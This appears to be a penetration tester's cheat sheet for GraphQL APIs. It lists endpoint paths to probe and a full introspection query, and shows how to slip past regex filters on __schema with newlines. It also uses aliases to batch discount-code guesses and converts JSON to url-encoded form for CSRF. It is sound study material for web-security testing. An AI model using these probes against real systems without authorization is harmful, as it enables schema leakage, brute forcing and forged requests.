GraphQL syntax: https://portswigger.net/web-security/graphql/what-is-graphql
HTTP GET
GraphQL query should be specified in the “query” query string.
http://myapi/graphql?query={me{name}}HTTP POST
JSON-encoded body
{
"query": "...",
"operationName": "...",
"variables": { "myVariable": "someValue", ... }
}Sending query{__typename} to a GraphQL endpoint will
return {"data": {"__typename": "query"}} in the
response.
Try with POST, GET or POST with
application/x-www-form-urlencoded
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
/v1/graphql
/v1/api
/v1/api/graphql
/v1/graphql/api
/v1/graphql/graphqlMore endpoint: SecLists discovery graphql
Note: Response could be “query not present” or similar. (meaning it’s present)
To use introspection to discover schema information, query the
__schema field. (could be disabled in production
environments)
{
"query": "{__schema{queryType{name}}}"
}Manual
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}If introspection is enabled but the query fails, try removing the onOperation, onFragment, and onField directives. Many endpoints don’t accept these in introspection queries.
Automatic
Now you can easily view relationships between schema entities using a GraphQL visualizer: https://graphql-kit.com/graphql-voyager/
Suggestions are a feature of the Apollo GraphQL platform where the server suggests query amendments in error messages. Clairvoyance is a tool that uses suggestions to automatically recover all or part of a GraphQL schema, even when introspection is disabled.
Developers might use a regex to exclude the
__schema keyword. Try spaces, new lines, and commas,
which GraphQL ignores but flawed regex does not.
#Introspection query with newline
{
"query": "query{__schema
{queryType{name}}}"
}Try a GET request
# Introspection probe as GET request
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7DPOST request with a content-type of
x-www-form-urlencoded
Use aliases to return multiple instances of the same type of object in one request.
#Request with aliased queries
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}GraphQL can be exploited for CSRF attacks. POST requests with
application/json content type are secure against
forgery if the content type is validated.
GET requests and POST with
application/x-www-form-urlencoded content type can be
sent by browsers.
function jsonToUrlEncoded(jsonData) {
const params = new URLSearchParams();
for (const [key, value] of Object.entries(jsonData)) {
if (typeof value === 'object') {
params.append(key, JSON.stringify(value));
} else {
params.append(key, value);
}
}
return params.toString();
}
// To change
const jsonData = {"query":"test","operationName":"test","variables":{"a":1,"b":2}};
const urlEncodedData = jsonToUrlEncoded(jsonData);
console.log(urlEncodedData);